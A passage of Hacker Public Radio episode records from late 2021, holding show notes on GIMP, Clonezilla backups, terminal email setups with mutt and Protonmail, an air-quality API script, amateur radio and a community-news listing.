                                                            \n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"OSI, RMS, Open Core, the Cat Internet, Luca, Loki, open source licensing","version":0,"downloads":0,"valid":1}, {"id":3460,"date":"2021-11-05","title":"Dodge and Burn","duration":1107,"summary":"We continue our look at the Layer Modes in GIMP with Dodge and Burn","notes":"

                                                            Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We continue with the Dodge and Burn Modes. Dodge is one of the Lighten Modes, while Burn is one of the Darken Modes, but I pulled them out for their own tutorial because they are not only closely related (inverse of each other), but also because I wanted to cover their use as Tool Modes in addition to Layer Modes. These are the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.24.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, Layer Modes, Blending Modes, Dodge and Burn","version":0,"downloads":0,"valid":1}, {"id":3461,"date":"2021-11-08","title":"Changes to HPR Branding","duration":2441,"summary":"Rho'n, Dave and Ken read the entire email thread related to changing the HPR theme","notes":"

                                                            \nWe didn't have time to tackle the discussion in last months community news so today we dedicate an entire show to reading out all the comments relating to the HPR Branding.\n
                                                            \nSee https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-October/thread.html\n

                                                            \n

                                                            \nYour comments are appreciated !\n

                                                            ","hostid":159,"series":47,"explicit":0,"license":"CC-BY-SA","tags":"HPR, Branding, Intro, Outro","version":0,"downloads":0,"valid":1}, {"id":3462,"date":"2021-11-09","title":"Metal marbles.","duration":618,"summary":"Introduction of new host, with reference to semantic playgrounds.","notes":"

                                                            Title: Metal marbles.

                                                            \n

                                                            Summary: Introduction of host, with reference to semantic playgrounds.

                                                            \n

                                                            Link to the rust converter recipe, which I found to be cheaper, and more sprayable than buckets of gel or paint-like substances which you might find elsewhere:

                                                            \n

                                                            https://www.canada.ca/en/conservation-institute/services/conservation-preservation-publications/canadian-conservation-institute-notes/tannic-acid-rusted-iron-artifacts.html

                                                            \n

                                                            In case that link moves, search for tannic acid rust converters, then choose your buffers.

                                                            \n

                                                            Email:
                                                            \nhpr@spoons.one

                                                            \n

                                                            Mastodon, though very very rarely:
                                                            \n@one_of_spoons@hispagatos.space

                                                            ","hostid":398,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"host zen","version":0,"downloads":0,"valid":1}, {"id":3463,"date":"2021-11-10","title":"Clonezilla: A backup story","duration":2046,"summary":"Rho`n walks through the process of backing up his laptop with Clonezilla","notes":"

                                                            Notes on the audio quality

                                                            \n

                                                            I have been looking into the audio quality issues of my shows. I think I have found a solution to them. Unfortunately, this show was recorded before I discovered it.

                                                            \n

                                                            Synopsis

                                                            \n

                                                            In today's episode, I take the audience along my adventure in backing up my laptop's hard drives. During recent OS updates, the kernel updates started to fall. In my efforts to resolve the problem, I made things worse – to the point I decided it was time to reinstall the operating system. To prevent any data loss, I chose Clonezilla to image the drives.

                                                            \n\n

                                                            The Clonezilla Live edition lets you boot into a ncurses menu driven system that walks you through the process of either backing up your hard drives or restoring a Clonezilla backup. Clonezilla backups save space by imaging only the data on your drives (for those filesystems it recognizes – otherwise it uses dd to do a sector-by-sector copy)

                                                            \n\n

                                                            Overall the process was very smooth, and, at the end, I was confident to move forward with wiping my main hard drive and reinstalling the operating system knowing I had a way to restore any lost data.

                                                            \n\n

                                                            References

                                                            \n\n\n\n

                                                            Attribution

                                                            \n\n

                                                            The transition sound used between audio clips is found on freesound.org:
                                                            \nName: Harp Transition Music Cue
                                                            \nAuthor: DanJFilms
                                                            \nLicense: Creative Commons Zero

                                                            \n\n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Clonezilla,backup,backups,cloning,hard drives","version":0,"downloads":0,"valid":1}, {"id":3464,"date":"2021-11-11","title":"Being irrational","duration":777,"summary":"Being irrational is rational.","notes":"

                                                            When listening to HPR 3442 by Klaatu, which I recommend, some thoughts about how we think started rattling about in my head. In this show I riff on that and talk about the importance of our irrational mode of thought.

                                                            \n","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"philosophy,mathematics,science,chess,logic,music","version":0,"downloads":0,"valid":1}, {"id":3465,"date":"2021-11-12","title":"Walmart Onn 7 inch tablet gen 2","duration":863,"summary":"Podcast about a new Android go Tablet I purchased ","notes":"

                                                            Just a basic podcast about a tablet.

                                                            \n

                                                            https://www.walmart.com/ip/onn-7-Tablet/930669857

                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Walmart, Android Go, Tablet","version":0,"downloads":0,"valid":1}, {"id":3466,"date":"2021-11-15","title":"Why HPR has less downloads","duration":551,"summary":"A short summary on why podcast listening might be on decline.","notes":"

                                                            I did a show about why I do not listen to non-mainstream podcasts as much as I used to. For me two things happened: I switched from being in the car for 16 hours a week to being a remote sales person at home. So the 16 hours I listened to podcasts every week in the car went away. The second reason I reduced was that many of the podcasts I was listening to were presented by people who do not share my values. So I stopped listening to them. The third reason I listen less is the Army opened up the online book library to retired service members and I do a lot of audio books in the moment.

                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"podcasts, dowloads","version":0,"downloads":0,"valid":1}, {"id":3467,"date":"2021-11-16","title":"Protonmail in the terminal","duration":2262,"summary":"One way of doing Protonmail in the terminal.","notes":"

                                                            I use email in the terminal with a combination of:

                                                            \n
                                                            \n
                                                            protonmail-bridge-cli
                                                            \n
                                                            local IMAP server to fetch Protonmail mails\n
                                                            \n
                                                            tmux
                                                            \n
                                                            to run protonmail-bridge in\n
                                                            \n
                                                            isync (or offlineimap etc)
                                                            \n
                                                            to sync IMAP with maildirs\n
                                                            \n
                                                            notmuch
                                                            \n
                                                            to tag and search mails\n
                                                            \n
                                                            afew
                                                            \n
                                                            to move mails found by certain notmuch queries in certain maildirs\n
                                                            \n
                                                            alot
                                                            \n
                                                            to read, compose, search and tag mails\n
                                                            \n
                                                            msmtp
                                                            \n
                                                            to send mails\n
                                                            \n
                                                            w3m (or lynx etc)
                                                            \n
                                                            to read HTML mails in the terminal\n
                                                            \n
                                                            rsync
                                                            \n
                                                            to copy archived mails\n
                                                            \n
                                                            a shell function and an alias
                                                            \n
                                                            to make it all less ridiculous\n
                                                            \n
                                                            \n

                                                            To most, Thunderbird will be suitable, the target audience here is unreasonable people.

                                                            \n

                                                            Complete Show Notes

                                                            \n

                                                            \nFollow this link for the complete show notes: https://hackerpublicradio.org/eps/hpr3467/\n

                                                            ","hostid":399,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"email,protonmail,alot,afew,notmuch,mbsync","version":0,"downloads":0,"valid":1}, {"id":3468,"date":"2021-11-17","title":"Distro upgrade intervals on my Raspberry Pi","duration":786,"summary":"In this episode I discuss Debian distro upgrade intervals for my raspberry Pi","notes":"

                                                            A discussion about Debian LTS distro upgrade intervals on my Raspberry Pi

                                                            \n\n

                                                            Debian release information

                                                            \n

                                                            My previous episode from last year where I covered the upgrade on my raspberry Pi from Debian Jessie 8 to Stretch 9

                                                            \n

                                                            A previous episode where I describe my raspberry Pi add-on board and what I use it for

                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Linux, Distros, Raspberry Pi, Debian","version":0,"downloads":0,"valid":1}, {"id":3469,"date":"2021-11-18","title":"Linux Inlaws S01E43: The Great Battle or not","duration":4138,"summary":"The Great Battle nor Not","notes":"

                                                            In this episode Martin and one of the Grumpies (as in Grumpy Old Coders)\nbattle it out: SQL or NoSQL - which technology is better? If you ever wondered\nwhy the Structured Query Language was invented in the first place and why the\nhipster abandoned ship for the latest (?) rage of the likes of the NoSQL\nvariety, this is for you. Plus: A whole family of never-heard-of sound effects\nmake their debut on this bumper of an episode.

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"SQL, NoSQL, Grumpy Old Coders, Hipster databases, mainframes, Execution planners","version":0,"downloads":0,"valid":1}, {"id":3470,"date":"2021-11-19","title":"External Commands and Emergency Boot Disk","duration":1008,"summary":"More on DOS. This time it is External Commands and Emergency Boot Disk","notes":"

                                                            In our continuing exploration of DOS we come to the topics of External Commands and Emergency Boot Disks. We cover them together because External Commands may not be available on your Emergency Boot Disk unless you take steps to include them, unlike Internal Commands, which are always part of a Boot Disk.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing, External Commands, Emergency Boot Disk","version":0,"downloads":0,"valid":1}, {"id":3471,"date":"2021-11-22","title":"The Sony Walkman WM-F41","duration":531,"summary":"A quick talk about one of my favorite Legacy Audio devices, a genuine Sony FM/AM cassette Walkman.","notes":"

                                                            This episode is just a quick talk about one of my favorite legacy audio devices, my Sony FM/AM cassette Walkman, model WM-F41.

                                                            \n\n\n

                                                            Links

                                                            \n\n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"audio, vintage audio, cassette tapes, tape players, portable stereos, audio repair","version":0,"downloads":0,"valid":1}, {"id":3472,"date":"2021-11-23","title":"consuming an AQI API","duration":386,"summary":"just because the sky is clear, doesn't mean the air is safe to breathe","notes":"

                                                            AQI

                                                            \n

                                                            Air Quality Index - measures particles in the air

                                                            \n\n

                                                            https://en.wikipedia.org/wiki/Particulates#Wildfire_smoke_risk

                                                            \n

                                                            Getting AQI data

                                                            \n

                                                            Determining air quality in my area is as simple as visiting https://www.airnow.gov and entering my zip code. Although my zip code covers 139.56 square miles, the result is accurate enough for my needs. When my zip code was submitted, the web page did not refresh. This means that the client interface made an API call to the backend server.

                                                            \n

                                                            It sure would be nice if the AQI status was emailed to my phone every hour, if the AQI was above a certain threshold.

                                                            \n

                                                            In order to get the data from the API, it is necessary to emulate the request made by the client to the API. This can be accomplished using Firefox.

                                                            \n
                                                              \n
                                                            • open Firefox
                                                            • \n
                                                            • go to https://www.airnow.gov
                                                            • \n
                                                            • open the Firefox developer tools, either through the menu or with CTRL+SHIFT+i
                                                            • \n
                                                            • in the dev tools, select the Network tab
                                                            • \n
                                                            • enter the zip code in the form and submit
                                                            • \n
                                                            • watch the Network tab for a POST request to https://airnowgovapi.com/reportingarea/get
                                                            • \n
                                                            • click on the request in the network tab
                                                            • \n
                                                            \n

                                                            Another set of tabs are now available to display various bits of information regarding the request. From this data, it is possible to recreate the query. \nHowever, I took an even easier route, and right-clicked on the query in the Network tab, and selected Copy > Copy as cURL to get the request as a curl command complete with all necessary arguments prefilled. Since I didn't want to write my entire AQI fetching script in bash, I copied the curl command into a text file and ported the request to Ruby.

                                                            \n

                                                            The Finished Script

                                                            \n
                                                            #!/usr/bin/env ruby\nrequire 'net/http'\nrequire 'uri'\nrequire 'json'\n\nuri =\"https://airnowgovapi.com/reportingarea/get\"\nparsed_uri = URI.parse(uri)\npayload={latitude:39.88,longitude:-120.76,stateCode:'CA',maxDistance:50}\nresponse = Net::HTTP.post_form(parsed_uri, payload)\ndata = JSON.parse(response.body)[0]\naqi=data[\"aqi\"].to_i\ncategory=data['category']\nparameter=data['parameter']\n\noutput= \"#{parameter}: #{aqi} - #{category}\"\nputs output\n\n\n/opt/textjezra \"#{output}\"` if aqi > 70\n
                                                            \n","hostid":243,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"ruby, api, programming","version":0,"downloads":0,"valid":1}, {"id":3473,"date":"2021-11-24","title":"My journey into Amateur Radio","duration":616,"summary":"Dave explains his journey into Amateur Radio, initial setup and successes.","notes":"

                                                            Opening

                                                            \n

                                                            Hello, my name is Dave, and welcome to another exciting episode of Hacker Public Radio. It's been a couple of years since my last episode, and I know that HPR is running low on shows. As I have had this one in planning for some time now, I though this was the right time to get it finished.

                                                            \n

                                                            Main

                                                            \n

                                                            At the time of recording this, I've been an Amateur Radio licence holder for 6 months. I took the notion of studying and applying for my Foundation licence (the first of three stages to a Full licence) when I read a blog post by Jon Spriggs G7VRI, back in March, entitled Might Amateur Radio be a hobby for you? I saw a presentation by Jon at OggCamp in 2018 in Sheffield where he gave a whistle-stop tour of what Amateur Radio actually is, and how easy it is to get involved in it.

                                                            \n

                                                            As a bit of background, I was quite involved in the CB Radio scene back in the late 80s and early 90s - I was introduced to CB by my dad, whose handle was \"Screwball\", in the 70s... he had a CB rig in his car since as far back as I can remember. I picked up the hobby from him, by actually liberating him of his rig when he stopped using it. Unfortunately it got stolen from my car. C'est la vie. Yes, my handle back then was \"The Love Bug\" - in fact, it was whilst looking for an alternative to \"Kool Kat\" as a handle that I first used the moniker \"The Love Bug\" - probably in the mid-80s - and it just stuck.

                                                            \n

                                                            So, after reading Jon's blog post, and doing some research into Amateur Radio myself, a whole bunch of things happened at the same time: I bought my first radio - a Baofeng UV-5RTP [Amazon UK], I joined the Radio Society of Great Britain (not a requirement, but I would recommend it), signed up for Essex Ham's Foundation Training Course (not a requirement, but strongly recommended as it's geared around the examination, and it's free!)

                                                            \n

                                                            The training took 3 weeks (in my own time), and I applied for my exam as soon as the training was complete. The exam was an hour long, under as close to exam conditions as an online exam would allow, and I was told by the online system that I'd passed as soon as I submitted my answers. It then took a few days to get the confirmation of passing (and a certificate) in the post, which then allowed me to apply to Ofcom (the authority for the radio spectrum here in the UK) for my licence and callsign. I was able to choose the suffix of my callsign, and - as BUG was taken - I opted for TLB (for The Love Bug), and thus my callsign is - currently - M7TLB (Mike Seven Tango Lima Bravo). I say \"currently\" - I'm not allowed to change my callsign, however the callsign is specific not only to me but also to the fact that I'm a Foundation Licence holder. Therefore, when I go for my Intermediate and then Full licence, I'll get new callsigns for each one, each superseding the previous.

                                                            \n

                                                            Anyhoo, once I got my Foundation licence, I went out that Sunday to log some contacts, or QSOs. So I parked up at a high point near to here, put a small aerial on the roof of the car (so that I didn't warm up my head when transmitting), and started calling CQ - essentially a way of saying \"I want to talk to somebody\" - \"Seek You\". As part of the licence conditions, you are only permitted to make contact with other identifiable and identified amateurs... general broadcasts to whomever might be listening are prohibited. Except when calling CQ to initiate that contact.

                                                            \n

                                                            So I'd call out something akin to \"CQ, CQ, this station Mike Seven Tango Lima Bravo, Mike Seven Tango Lima Bravo Portable, calling CQ.\" The \"Portable\" indicates that I'm not at my home station location. It's also a good indication that my transmission might be variable due to the portable nature of the station.

                                                            \n

                                                            I was transmitting using 8 watts of power, two watts fewer than the limit of my license, but significantly lower than the 400 watts that I could be using as a Full licence holder, so my hopes weren't high. My first contact was with a chap just outside Caistor, Lincolnshire... about 38 miles direct from where I was based. He was also using a portable station, but with a directional beam antenna, meaning that both transmission and reception from his end was able to focus on my direction. So yeah, impressed!

                                                            \n

                                                            My second contact was also a portable station, located at a high-point by the Woodhead Pass, in Penistone, about 18 miles direct from where I was. This contact was the gift that kept on giving, as there were two other portable stations at the same location, so I got three contacts in the log for that one.

                                                            \n

                                                            Things went quiet after that one, so after a further 5 calls out, I figured that was my lot. Still, I was happy with four QSOs on my first day!

                                                            \n

                                                            Later the same day, I went out for my daily constitutional, so I figured I'd take the radio - with the standard short rubber-duck antenna, and an earpiece - with me. At least that way, I wouldn't look too silly, or a target to be fair. My intention was just to bounce around the frequencies and listen to conversations, rather than put out any CQs myself... I was in a residential area, so I didn't want to draw attention to myself.

                                                            \n

                                                            Whilst listening, I heard someone calling CQ and inviting respondents to a different frequency, so I followed and listened. There were a couple of contacts already there that I couldn't hear, so I waited for the initial contact to finish working the first. When he put out a call for whomever originally responded, I jumped in with my callsign, thinking that there was no way he would hear me. Consider that I was walking around town, in a reasonably built-up area, with probably the worst antenna I could have chosen for distance, and he wasn't exactly coming through strong. He responded to me directly, asking me to standby whilst he worked the other station that responded. Well, I was shocked to hear him say to the other contact that he was in East Yorkshire, about 33 miles from here! He was using a directional beam antenna which was pointing due west... whereas I am south-west of his location, so when you consider the other things I mentioned, the fact that he was also not pointing his antenna directly at me I was completely amazed that I was able to hold this relatively decent quality conversation with someone that far away. Well pleased was I.

                                                            \n

                                                            Cost-wise, I should warn that Amateur Radio can be an expensive hobby, but it absolutely doesn't have to be. At a bare minimum, to get me \"on the air\" I bought the Baofeng (£42.99), and paid for my Foundation examination (£27.50), so a little over £70 overall. I actually bought a number of accessories for the radio, and joined the RSGB, but these are in no way required expenses. The standard radio on its own is more than sufficient to gain some decent contacts, as I hope I've proven with the success from that Sunday.

                                                            \n

                                                            Since then, I have bought an HF (or High Frequency) radio from India, it's a low-power model (or QRP) which is unlikely to get very far, but there are transmission modes that I can use that are specifically intended for low-power operation. My next big thing is to get an antenna up in the back garden along with a decent tuner so that I can actually use that radio!!

                                                            \n

                                                            By the time this episode goes out, I will have started an intensive course with OARC (Online Amateur Radio Community) which is a UK-based club - a more fantastic bunch of people you are not likely to find - so I'll be able to change my callsign to one beginning 2E0 or 2E1, and be able to use up to 50W to transmit, even though I don't have any equipment capable to transmitting 50W - yet!

                                                            \n

                                                            I point you to the excellent Ham radio, QSK series on HPR where a number of correspondents have recorded shows about Amateur Radio that you may find interesting. I'm putting this episode into the same series.

                                                            \n

                                                            Questions

                                                            \n

                                                            Are you an Amateur Radio operator? Let me know.

                                                            \n

                                                            Call to action

                                                            \n

                                                            Drop me an email to hpr@thelovebug.org, I'm on Facebook and Twitter as thelovebug, or leave a comment on this episode, or record your own episode in response.

                                                            \n

                                                            At the time of recording this, HPR is low on shows, if you have any shows in progress, or something burning in your mind, get it recorded. Find out more over at hackerpublicradio.org.

                                                            \n

                                                            Close

                                                            \n

                                                            So, that's it for today... thanks for listening.
                                                            \nWherever you are in the world, stay safe.
                                                            \nCome back again tomorrow for another exciting episode on Hacker Public Radio.

                                                            \n

                                                            73 de M7TLB

                                                            \n","hostid":314,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"amateur radio, baofeng, rsgb, qso, cq, ham, ham radio, hf","version":0,"downloads":0,"valid":1}, {"id":3474,"date":"2021-11-25","title":"H P R and Audio Fun","duration":671,"summary":"Comments on show and audio processing ","notes":"

                                                            https://matrix.to/#/#HPR:matrix.org

                                                            \n\n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"audio","version":0,"downloads":0,"valid":1}, {"id":3475,"date":"2021-11-26","title":"How I Watch Everything Using Open Source Software","duration":878,"summary":"Using Libreelec, Kodi, a tuner, and a Raspberry Pi to create a great media center","notes":"

                                                            I've been using this setup or one similar for several years now and it has worked out very well.

                                                            \n

                                                            Hardware:

                                                            \n
                                                              \n
                                                            • Clearstream TV antenna
                                                            • \n
                                                            • Coax cable
                                                            • \n
                                                            • Hauppage WinTV-dual HD USB Dual Tuner
                                                            • \n
                                                            • Raspberry Pi 4 4GB
                                                            • \n
                                                            • 1 TB SSD connected via USB 3
                                                            • \n
                                                            • HDMI cable
                                                            • \n
                                                            \n

                                                            Software:

                                                            \n
                                                              \n
                                                            • Libreelec OS
                                                            • \n
                                                            • Kodi
                                                            • \n
                                                            • TVheadend server
                                                            • \n
                                                            • TVheadend client
                                                            • \n
                                                            • Debrid addon media streamer
                                                            • \n
                                                            \n

                                                            Any questions or comments you can reach me at minnix at minnix dot dev

                                                            \n","hostid":375,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"libreelec,kodi,raspberry pi,tvheadend","version":0,"downloads":0,"valid":1}, {"id":3476,"date":"2021-11-29","title":"My mutt email setup","duration":765,"summary":"My humble mutt email setup","notes":"\n
                                                              \n
                                                            1. Get app password and enter it in a file call pass
                                                            2. \n
                                                            \n
                                                                set my_gpass= "MyAppPassword"
                                                            \n
                                                              \n
                                                            1. Encrypt pass file with 'gpg -e pass'

                                                            2. \n
                                                            3. Shred pass file with 'shred -uv pass', which uses verbose mode

                                                            4. \n
                                                            \n
                                                                shred - overwrite a file to hide its contents, and optionally delete it\n      -u deallocate and remove file after overwriting\n      -v, --verbose, show progress
                                                            \n
                                                              \n
                                                            1. Use gpg encrypted key to open Gmail

                                                              \n
                                                                \n
                                                              • in .muttrc source \"gpg -d ~/.mutt/pass.gpg |\"
                                                              • \n
                                                            2. \n
                                                            3. Source colors file: Custom color scheme

                                                            4. \n
                                                            \n
                                                                ## Custom - Shows a gray line on tagged emails\n    color index yellow brightblack "~T ~N | ~T"
                                                            \n

                                                            Tagged emails
                                                            \n\"Tagged

                                                            \n
                                                              \n
                                                            1. Source hooks file: Redirect default save path for email sorting
                                                            2. \n
                                                            \n
                                                                  ## Newsletters - Technology ##\n      save-hook '~f lists.linuxjournal.com' ='Linux'\n      save-hook '~f arch-dev-public'  =Newsletters\n      save-hook '~f noreply@mmorpg.com' =Newsletters\n      save-hook '~f ocw@mit.edu'|'~b Opencourseware' =Newsletters\n      save-hook '~s Linux'|'~s Foundation' ='Newsletters'\n      save-hook '~f weekly@raspberrypi.org' =Newsletters\n      save-hook '~f hackspace@raspberrypi.org' =Newsletters\n      save-hook '~f @pragmaticbookshelf.com' =Newsletters\n      save-hook '~f comixology@e.comixology.com' =Newsletters\n      save-hook '~f mrgroove@groovypost.com' =Newsletters\n      save-hook '~f oreilly@post.oreilly.com' =Newsletters\n      save-hook '~f mark ~s arduino' =Bookmarks/Arduino\n      save-hook '~f smith@torproject.org' =Newsletters/TorProject\n      save-hook '~f info@torproject.org' =Newsletters/TorProject\n      save-hook '~f editor@eff.org' =Newsletters.EFFdotOrg\n      save-hook '~f contact@diyodemag.com' =Newsletters/DIYODE-Magazine\n      save-hook '~f weekly-update@allaboutcircuits.com' =Newsletters/Circuits\n\n      ## Recipes ##\n      save-hook '~f dora ~s Recipe | ~s Recipe | ~B recipe | ~B casserole | ~B bake | ~B "omaha steaks" ' ='dabrat1972/Recipes'
                                                            \n
                                                              \n
                                                            1. Source aliases file: Frequently used contacts
                                                            2. \n
                                                            \n
                                                                  alias tags tags@hackerpublicradio.org\n      alias Dave_Morriss Dave Morriss <perloid@autistici.org>
                                                            \n
                                                              \n
                                                            • HTML email\n
                                                                \n
                                                              • Install lynx
                                                              • \n
                                                            • \n
                                                            • Open URL's\n
                                                                \n
                                                              • Install urlscan
                                                              • \n
                                                              • Capital 'U' open URL dialog
                                                              • \n
                                                            • \n
                                                            • Open pictures\n
                                                                \n
                                                              • Install feh
                                                              • \n
                                                            • \n
                                                            • PDF reader\n
                                                            • \n
                                                            \n
                                                            mailcap - metamail capabilities file\n\nDESCRIPTION\n         The mailcap file is read by the metamail program to determine how to display non-text at the local site.
                                                            \n
                                                              image/*; feh %s; test=test -n "$DISPLAY";\n  text/html; lynx -nonumbers -dump %s; copiousoutput; nametemplate=%s.html\n  application/pdf; zathura /dev/stdin
                                                            \n

                                                            More reading

                                                            \n\n

                                                            Contact me:

                                                            \n

                                                            Email: ricemark20.nospam@nospam.gmail.com
                                                            \nMastodon: https://mastodon.sdf.org/@archer72
                                                            \nMatrix: @archer72:matrix.org
                                                            \nHPR Matrix room: https://app.element.io/#/room/#hpr:matrix.org
                                                            \nOggcastplanet Matrix room: https://app.element.io/#/room/!oIafedhXUbEidMzeTt:libera.chat

                                                            \n

                                                            Links

                                                            \nExample files:\n\n","hostid":318,"series":11,"explicit":0,"license":"CC-BY-SA","tags":"mutt,email, gpg,accessibility ","version":0,"downloads":0,"valid":1}, {"id":3477,"date":"2021-11-30","title":"Picking a Forth","duration":1313,"summary":"Available forths, old and new","notes":"\n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"forth, arduino, history","version":0,"downloads":0,"valid":1}, {"id":3478,"date":"2021-12-01","title":"Audio Wiring Hack on a Classroom Podium","duration":1093,"summary":"Listen in while I hack the wiring on our classroom podium for custom audio routing.","notes":"

                                                            In this episode I take you along for the ride as I hack the wiring in a classroom podium so that I can show musical scores on the Elmo document camera while playing audio through the podium's laptop VGA audio source. Without this hack, the students could either see the score, or they could hear the music, but not both. This simple hack installing two jumper wires allows them to see the score and hear the music at the same time, which is important in my classes. I could already do this by using a PDF music score on my laptop while playing the audio file, but this allows me to use a paper score and audio from my laptop at once. It essentially acts as an audio splitter, sending the audio signal to two channels at once.

                                                            \n\n

                                                            Links

                                                            \n\n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"audio, wiring, higher education","version":0,"downloads":0,"valid":1}, {"id":3479,"date":"2021-12-02","title":"Linux Inlaws S01E49: Version Control Systems and why bother","duration":3414,"summary":"Version Control Systems and why bother","notes":"

                                                            In this episode our two heroes contemplate the ins and outs of version\ncontrol systems (VCS) and how to maintain sanity using them. Particular focus\nis on the newer generation of such as git which enabled large-scale community\nprojects such as the Linux kernel, programming languages like Rust and Python\nand other shenanigans. Including a crash course on version control systems\n- you may credits at your local third-level education facility for listening\nto this episode. Just tell them the Inlaws sent you :-). Plus Martin reveals\nhis favourite Pay TV channel and his gun-buying habits being a minor. Don't\nmiss this episode if you're a minor and want to buy a gun in certain countries\n(details as part of the episode! :-).

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Version control systems, git, subversion, mercurial, bazaar, how to buy guns as a minor in NL","version":0,"downloads":0,"valid":1}, {"id":3480,"date":"2021-12-03","title":"Darken Layer Modes","duration":883,"summary":"More on Layer Modes in GIMP with the Darken Modes","notes":"

                                                            Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We continue with the Darken Modes, except for Burn, which was covered in the previous tutorial. Darken modes do what they say on the tin, they make things darker, and so they are kind of the inverse of the Lighten Modes. These are the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.24. I also take the time to discuss image formats such as JPG, PNG, and RAW.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, Layer Modes, Blending Modes, Darken Modes","version":0,"downloads":0,"valid":1}, {"id":3481,"date":"2021-12-06","title":"HPR Community News for November 2021","duration":5638,"summary":"HPR Volunteers talk about shows released and comments posted in November 2021","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n one_of_spoons, \n dnt.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3456Mon2021-11-01HPR Community News for October 2021HPR Volunteers
                                                            3457Tue2021-11-02Tablesklaatu
                                                            3458Wed2021-11-03Living in the Terminal 2: The Obligatory SequelBlacKernel
                                                            3459Thu2021-11-04Linux Inlaws S01E42: The Open Source Initiativemonochromec
                                                            3460Fri2021-11-05Dodge and BurnAhuka
                                                            3461Mon2021-11-08Changes to HPR BrandingHPR Volunteers
                                                            3462Tue2021-11-09Metal marbles.one_of_spoons
                                                            3463Wed2021-11-10Clonezilla: A backup storyRho`n
                                                            3464Thu2021-11-11Being irrationalAndrew Conway
                                                            3465Fri2021-11-12Walmart Onn 7 inch tablet gen 2JWP
                                                            3466Mon2021-11-15Why HPR has less downloadsJWP
                                                            3467Tue2021-11-16Protonmail in the terminaldnt
                                                            3468Wed2021-11-17Distro upgrade intervals on my Raspberry PiMrX
                                                            3469Thu2021-11-18Linux Inlaws S01E43: The Great Battle or notmonochromec
                                                            3470Fri2021-11-19External Commands and Emergency Boot DiskAhuka
                                                            3471Mon2021-11-22The Sony Walkman WM-F41Jon Kulp
                                                            3472Tue2021-11-23consuming an AQI APIJezra
                                                            3473Wed2021-11-24My journey into Amateur Radiothelovebug
                                                            3474Thu2021-11-25H P R and Audio Funoperat0r
                                                            3475Fri2021-11-26How I Watch Everything Using Open Source Softwareminnix
                                                            3476Mon2021-11-29My mutt email setupArcher72
                                                            3477Tue2021-11-30Picking a ForthBrian in Ohio
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 20 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 5 comments on\n4 previous shows:

                                                            \n
                                                              \n
                                                            • hpr2169\n(2016-11-24) \"How I connect to the awesome #oggcastplanet on mobile\"\nby clacke.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nclacke on 2021-11-06:\n\"NickServ authentication\"

                                                              \n
                                                            • hpr2672\n(2018-10-30) \"Porteus\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nhhskladby on 2021-11-02:\n\"Porteus Modularity\"

                                                              \n
                                                            • hpr3034\n(2020-03-19) \"How to bridge Freenode IRC rooms to Matrix.org\"\nby Thaj Sara.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nclacke on 2021-11-06:\n\"libera.chat\"

                                                              \n
                                                            • hpr3454\n(2021-10-28) \"Engineering Notation\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nKen Fallon on 2021-11-02:\n\"suffixes\"
                                                              • \n
                                                              • \nComment 3:\nTrey on 2021-11-04:\n\"Great reminder\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 15 comments on 11 of this month's shows:

                                                            \n
                                                            • hpr3457\n(2021-11-02) \"Tables\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJon Kulp on 2021-11-07:\n\"Tables and font sizes\"
                                                              • Comment 2:\nGumnos on 2021-11-17:\n\"Storing data in recsel format?\"

